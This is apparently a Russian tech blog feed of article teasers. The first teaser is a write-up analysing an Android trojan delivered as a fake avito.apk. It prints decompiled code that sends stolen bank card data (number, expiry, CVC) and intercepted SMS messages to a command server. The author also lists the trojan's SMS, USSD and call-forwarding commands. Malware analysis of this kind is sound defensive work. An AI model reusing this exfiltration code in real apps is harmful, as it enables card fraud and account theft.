• Как я позорно деактивировал ботнет

      image

      Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
      Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

      Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

      Исследование APK


      Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

      Итак, что умеет этот троян:
      • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
      • sent&&& — отправка заданных СМС-сообщений с сервера
      • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
      • sms_stop&&& — отмена перехвата СМС-сообщений
      • ussd&&& — USSD-запрос
      • call_1&&& — установка и отмена безусловной переадресации

      Немного кода из моих заметок
      protected HttpRequestBase a()
          {
              try
              {
                  HttpPost httppost = new HttpPost(d());
                  ArrayList arraylist = new ArrayList();
                  arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
                  arraylist.add(new BasicNameValuePair("number", b));
                  arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
                  arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
                  arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
                  httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                  return httppost;
              }
              catch(UnsupportedEncodingException unsupportedencodingexception)
              {
                  unsupportedencodingexception.printStackTrace();
              }
              return null;
          }
      
          protected String d()
          {
              return new String((new StringBuilder()).append(a).append("set_card.php").toString());
          }
      
      
      
      
      
      
          protected HttpRequestBase a()
          {
              try
              {
                  HttpPost httppost = new HttpPost(d());
                  ArrayList arraylist = new ArrayList();
                  arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
                  arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
                  httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                  return httppost;
              }
              catch(UnsupportedEncodingException unsupportedencodingexception)
              {
                  unsupportedencodingexception.printStackTrace();
              }
              return null;
          }
      
          protected String d()
          {
              return new String((new StringBuilder()).append(a).append("get.php").toString());
          }
      
      
      
      
          protected HttpRequestBase a()
          {
              try
              {
                  JSONObject jsonobject = new JSONObject();
                  jsonobject.put("text", c);
                  jsonobject.put("number", d);
                  jsonobject.put("date", e);
                  HttpPost httppost = new HttpPost(d());
                  ArrayList arraylist = new ArrayList();
                  arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
                  arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
                  httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                  return httppost;
              }
              catch(UnsupportedEncodingException unsupportedencodingexception)
              {
                  unsupportedencodingexception.printStackTrace();
              }
              catch(JSONException jsonexception)
              {
                  jsonexception.printStackTrace();
              }
              return null;
          }
      
          protected String d()
          {
              return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
      


      Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
      Читать дальше →
    • Ловкость рук и никакого мошенничества: практические советы по ускоренному обучению дизайну для разработчиков

      • Translation
      Улучшаем дизайн проекта с помощью тактически грамотных действий, а не таланта.

      Нравится вам это или нет, каждый веб-разработчик неизбежно сталкивался с ситуациями, когда ему необходимо принять решение, касающееся визуального дизайна.

      Возможно, в компании, в которой вы работаете, нет штатного дизайнера, и вам необходимо реализовать интерфейс для нового функционала. Или, может быть, вы решили подработать на побочном проекте, и хотели бы, чтобы он выглядел лучше, чем «ещё один bootstrap-сайт».

      Легко опустить руки и сказать: «Я никогда не смогу сделать это должным образом, я не художник!», Но, оказывается, есть уйма ловких приёмов, которые вы сможете использовать, чтобы поднять свою работу на другой уровень, не имея опыта в графическом дизайне.

      Под катом семь простых идей, которые вы сможете использовать для улучшения своих проектов.

      1. Для создания иерархии используем цвет и вес вместо размера



      Читать дальше →
    • Лучший UX — совсем никакого UI

      • Translation
      Сколько себя помню, я всегда был одержим интерфейсами пользователя (UI). Помню, как наслаждался красотой Compaq TabWorks, пока играл в «The Incredible Machine» и слушал «Tears For Fears—Greatest Hits» на семейном компьютере.


      Не осуждайте меня — я слушал «Mad World» ещё задолго до выхода «Донни Дарко» и этого страшного кролика. Если вы не узнали ни одну из этих отсылок, то возможно это потому, что я очень стар. Как сказал Джордж Костанза, «Дело не в тебе, а во мне».

      Это ещё одна древняя цитата, которую вы можете и не понять. Ну да ладно, давайте двигаться дальше.

      По-настоящему я увлёкся UI, когда купил собственный компьютер. Я вступил в береговую охрану и сэкономил немного денег во время курса молодого бойца (когда нельзя было выходить в город из-за отжиманий и всего такого). Я хотел купить Chevy Cavalier (увы, но это не шутка), но мой отец предложил вместо этого потратить деньги на компьютер, поэтому я приобрёл в Office Depot собственный Compaq с Windows 98 в комплекте. Кроме того, Cavalier никак не купить за 800 баксов.

      Windows 98


      Я провёл кучу времени за изменением тем Windows 98. Я был заворожён тем, как могут накладываться друг на друга окна и как меняются иконки и шрифты, формы кнопок и цвета. Мне нравилось, как окна отбрасывали тень. Каждая новая тема была лучше предыдущей!


      О, глубины моря! О, величественные рыбы! ДУХ ЗАХВАТЫВАЕТ.

      Если бы я знал, с какими чудесами мне ещё предстоит встретиться. Если бы я только знал о Windows XP.
      Читать дальше →
    • Kivy — маленький фрукт с большим будущим


        Пpивeтcтвyю вcex!


        Ceгoдняшняя небольшая cтaтья, впpoчeм, кaк вceгдa, кoнeчнo жe, o зaмeчaтeльнoм и пpocтoм, кaк тpи кoпeйки, фpeймвopкe для кpoccплaтфopмeннoй paзpaбoтки Kivy.


        B дaннoм мaтepиaлe бyдyт paзвeяны мифы o тoм, чтo Kivy нe гoдитcя для paзpaбoтки cлoжныx пpилoжeний, бyдyт oпpoвepгнyты пpeдвзятыe мнения, кoтopыe пpeдcтaвляют paзpaбoтчикaм и зaкaзчикaм Kivy, кaк мaлo пoдxoдящий и кpивoй инcтpyмeнт для cepьeзнoй paбoты и coвceм нeгoдным для production.


        Ceгoдняшняя cтaтья бoльнo yдapит пo кocтылям других фреймворков, зacтaвит их пoшaтнyтьcя, ocoзнaть, чтo oни yжe oтнюдь нe eдинcтвeнные и пoдвинyтьcя нaзaд в peйтингe кpoccплaтфopмeннoй paзpaбoтки, cпpaвeдливo ycтyпaя мecтo Kivy, как более быстрому в плане разработки, не менее надежному и более выгодному инструменту!


        Всем заинтересовавшимся, милости просим под кат...

        Читать дальше →
      • Моя компания не взлетела, 6 уроков ценою в 4 года жизни и $150 000

          Симпатичная девушка попросилась на фейсбуке в друзья и спросила, почему мы приостановили развитие нашего проекта. А мы не приостанавливали, даже наоборот, дела пошли в гору — нащупали работающие пути получения трафика, выручка наконец начала расти. Но через несколько месяцев я понял, что она была права.

          О том, как мы работали по 10 часов в сутки без выходных, получили инвестиции, прошли во ФРИИ, набрали более ста тысяч пользователей в США, нас хотел купить Sports Illustrated, но в итоге мы закрыли компанию.

          Читать дальше →
        • Удивительно полезный инструмент: lsof

          • Translation
          Я привык искать проблемы в коде или в системе, пользуясь логами или показателями мониторинга, которые выводятся на симпатичных панелях управления с простым и понятным интерфейсом. Однако, если по какой-то причине данные на панель управления не поступают, или логи какой-нибудь службы недоступны, отладка усложняется. Теперь подобных проблем немного, встречаются они редко, но они, всё же, случаются. Поэтому и в наше время весьма ценно знание инструментов, которые помогают понять, что не так с неким процессом на каком-нибудь компьютере.

          image
          Читать дальше →
        • Наглядное объяснение чисел с плавающей запятой

          • Translation
          image

          В начале 90-х создание трёхмерного игрового движка означало, что вы заставите машину выполнять почти не свойственные ей задачи. Персональные компьютеры того времени предназначались для запуска текстовых процессоров и электронных таблиц, а не для 3D-вычислений с частотой 70 кадров в секунду. Серьёзным препятствием стало то, что, несмотря на свою мощь, ЦП не имел аппаратного устройства для вычислений с плавающей запятой. У программистов было только АЛУ, перемалывающее целые числа.

          При написании книги Game Engine Black Book: Wolfenstein 3D я хотел наглядно показать, насколько велики были проблемы при работе без плавающей запятой. Мои попытки разобраться в числах с плавающей запятой при помощи каноничных статей мозг воспринимал в штыки. Я начал искать другой способ. Что-нибудь, далёкое от $(-1)^S * 1.M * 2^{(E-127)}$ и их загадочных экспонент с мантиссами. Может быть, в виде рисунка, потому что их мой мозг воспринимает проще.

          В результате я написал эту статью и решил добавить её в книгу. Не буду утверждать, что это моё изобретение, но пока мне не приходилось видеть такого объяснения чисел с плавающей запятой. Надеюсь, статья поможет тем, у кого, как и у меня, аллергия на математические обозначения.
          Читать дальше →
        • 9 причин, которые мешают вам стать тимлидом

          Хах! Кажется, что тимлид только и делает что таскает бумажки, пьет много кофе, шутит какие-то шутки, да и вообще он какой-то странный парень. Почему бы вам не занять его место? У вас большой опыт, вы знаете команду как свои пять пальцев, виртуозно владеете C++, С#, Java да и что там говорить — вы программист от бога!



          Только вот руководство не замечает что «вы тут вообще за всю команду тащите» и проекты вытягиваете за неделю до дедлайна. Короче, вам пора руководить! Вы спите и видите как классно у вас всё выходит, производительность увеличивается, тендеры один за одним, всеобщее признание команды и начальства уже ваше всё. Вот только повышение осталось получить. А теперь к делу. Что же все таки мешает такому крутому спецу как вы вывести все из болота и управлять миром?
          Читать дальше →
        • Vue.js для сомневающихся. Все, что нужно знать



            В данной статье речь пойдет о замечательном фронтенд фреймворке Vue.js. Как вы видите, статья называется «Vue.js для сомневающихся», и, если вы до сих пор не могли решиться попробовать Vue.js на практике, то надеюсь, что после прочтения вы все-таки на это решитесь.
            Читать дальше →
          • Best practices от Google по разработке Android приложений

            В данной статье я хотел бы вкратце рассказать про самые последние best practices от Google. Я постарался выделить самые основные моменты, чтобы читатель сразу мог понять, что именно какая-либо фича дает разработчику. Не удивляйтесь, если где-то повторяюсь. Конспектировал + добавлял от себя по ходу просмотров видео в www.youtube.com/channel/UCVHFbqXqoYvEWM1Ddxl0QDg

            Также к каждому пункту приводятся все необходимые ссылки для более подробного ознакомления с конкретной best practice.
            Читать дальше →
          • Руководство React Native — создаем приложение под iOS. Часть 1.2, 1.3

              → Перевод отсюда
              → Продолжение. Начало здесь

              2. Извлечение данных из API


              В этом разделе мы будем подключаться к API сайта Unsplash.it и запрашивать информацию о обоях. Но, прежде чем мы приступим к интересному, нам надо сделать кое-что.

              Объявление классов в стиле ES2015


              В файле index.ios.js вы видите существующий код. Он отвечает за вывод содержимого в эмулятор.

              image

              В файле index.ios.js мы видим строку var SplashWalls = React.createClass({ ... }). Мы будем менять ее. В этом руководстве мы будем использовать синтаксис ES2015 для объявления классов.
              Мы, разработчики, любопытные. Вы, возможно, хотите спросить: «Зачем? Зачем использовать классы из ES2015?».
              Читать дальше →
              • +7
              • 14.3k
              • 4
            • Почему программисты не могут программировать

              • Translation

              Я был недоверчив, когда прочитал это наблюдение у Реджинальда Брейтуэйт:


              Как и у меня, у автора возникают проблемы с тем фактом, что 199 из 200 претендентов на каждое задание программирования не могут писать код вообще. Повторяю: они не могут писать никакого кода вообще.
              Читать дальше →
            • Руководство React Native — создаем приложение под iOS. Часть 1.4 — 1.5

                → Перевод отсюда
                → Продолжение. Предыдущие выпуски:

                4. Фильтрация и отбор случайных обоев


                В этом разделе мы будем отбирать определённое количество случайных обоев из заданной категории. Раздел больше посвящен JS, нежели React Native. Мы создадим новый модуль (файл), который будет генерировать случайное число. Если понятие «модуль» вам незнакомо, рекомендую обратиться к документации Node.js по модулям.
                Найдите строку, объявляющую класс
                class SplashWalls extends Component{/* ... */};
                
                Читать дальше →
              • Исследуем RxJava 2 для Android

                • Translation

                enter image description here


                Меня зовут Аркадий, я Android-разработчик в Badoo. В последнее время в нашем блоге много постов про Go, PHP, JS, QA, и я решил разбавить их темами по мобильной разработке. Как раз занимался портированием одного Android-проекта с RxJava 1 на RxJava 2 и читал всё, что можно найти на эту тему в интернете. В частности, доклад Джейка Вортона с конференции GOTO Copenhagen 2016. Мне показалось, что это достойный кандидат на перевод – думаю, многие Android-разработчики задумываются о переходе на RxJava 2, и им интересно, что изменилось по сравнению с первой версией.


                Джейк сделал достаточно объёмное введение о реактивном программировании, так что знание RxJava 1 не требуется для понимания статьи. Доклад был подготовлен, когда RxJava2 ещё только готовилась к выпуску (на текущий момент уже выпущена версия 2.1.0).

                Читать дальше →
                • +40
                • 142k
                • 5
              • Как получить оффер в день собеседования и не ждать сто лет

                  enter image description here


                  UPD: По итогам мероприятия мы сделали 8 предложений о работе: 5 – iOS-разработчикам, 3 – Android-разработчикам.


                  Привет, Хабр! Я Богдан, разработчик в iOS-команде Badoo в Лондоне. Прочитав заголовок, вы можете подумать, что в Badoo совсем с ума сошли публиковать посты на такие темы. Но пост вполне для Хабра. Мы сейчас очень активно расширяем iOS- и Android-команды и ищем разработчиков по всему миру. Естественно, Москву обойти стороной просто не можем (наш второй офис здесь). Мы хотим провести достаточно необычное мероприятие, чтобы после него обзавестись новыми коллегами.


                  Мы (мобильные команды Badoo) решили приехать на несколько дней в Москву и провести небольшую встречу, после которой несколько разработчиков (iOS и Android) получат предложения о работе у нас (в Лондоне). Чтобы не затягивать эту самую встречу, мы сделали онлайн-тест (он не суперсложный, а скорее чтобы понять ваш уровень и упростить и ускорить личные встречи).

                  Читать дальше →
                • React медленный, React быстрый: оптимизация React-приложения на практике

                  Всем привет! Хочу поделиться своим переводом статьи React is Slow, React is Fast: Optimizing React Apps in Practice автора François Zaninotto. Надеюсь, это кому-то будет полезным.


                  Краткое содержание:


                  1. Измерение производительности React
                  2. Почему ты обновился?
                  3. Оптимизация через разбиение на компоненты
                  4. shouldComponentUpdate
                  5. Recompose
                  6. Redux
                  7. Reselect
                  8. Остерегайтесь объектных литералов в JSX
                  9. Заключение

                  React может быть медленным. Я хочу сказать, что любое React приложение среднего размера может оказаться медленным. Но прежде, чем искать ему замену, вы должны знать, что и любое среднее приложение на Angular или Ember может также оказаться медленным.


                  Хорошая новость в том, что если вы действительно заботитесь о производительности, то сделать React приложение очень быстрым довольно легко. Об этом — далее в статье.

                  Читать дальше →
                • Сравниваем Java 8, RxJava, Reactor

                  От переводчика:
                  Я подготовил для вас адаптированный перевод с небольшими дополнениями и исправлениями. Я сохранил несколько пропагандистский стиль оригинальной статьи, но, сама по себе, информация в ней интересная, поэтому решил, все же, перевести.

                  Люди часто спрашивают меня:
                  Зачем мне вообще использовать RxJava или Reactor, если то же самое можно сделать с помощью Streams, CompletableFutures и Optionals?


                  image


                  Проблема, на самом деле, в том, что большую часть времени вы занимаетесь решением простых задач и вам действительно не нужны эти библиотеки. Но когда все усложняется, вам приходится писать какой-то уродский кусок кода. Затем этот кусок кода становится все более и более сложным и трудно поддерживаемым. В RxJava и Reactor есть много удобных функций, которые будут удовлетворять вашим потребностям еще долгие годы.


                  Давайте определим 8 критериев, которые помогут нам понять разницу между этими библиотеками и стандартными возможностями Java:

                  Читать дальше →
                  • +18
                  • 22.2k
                  • 6
                • Rx. Постигаем retryWhen и repeatWhen на примерах из Android разработки

                  В сети очень много русско- и англоязычных статей по Rx операторам retryWhen и repeatWhen.
                  Несмотря на это, очень часто встречаю нежелание их использовать (ввиду сложного синтаксиса и непонятных диаграмм).

                  Приведу несколько примеров как можно с их помощью эффективно перезапускать участки цепи и делегировать обработку перезапусков при ошибках и завершениях потока.
                  Читать дальше →
                • Книга «Экстремальное программирование: разработка через тестирование»

                    image Возвращение знаменитого бестселлера. Изящный, гибкий и понятный код, который легко модифицировать, который корректно работает и который не подкидывает своим создателям неприятных сюрпризов. Неужели подобное возможно? Чтобы достичь цели, попробуйте тестировать программу еще до того, как она написана. Именно такая парадоксальная идея положена в основу методики TDD (Test-Driven-Development — разработка, основанная на тестировании). Бессмыслица? Не спешите делать скороспелые выводы. Рассматривая применение TDD на примере разработки реального программного кода, автор демонстрирует простоту и мощь этой методики. В книге приведены два программных проекта, целиком и полностью реализованных с использованием TDD. За рассмотрением примеров следует обширный каталог приемов работы в стиле TDD, а также паттернов и рефакторингов, имеющих отношение к TDD. Книга будет полезна для любого программиста, желающего повысить производительность своей работы и получить удовольствие от программирования.
                    Читать дальше →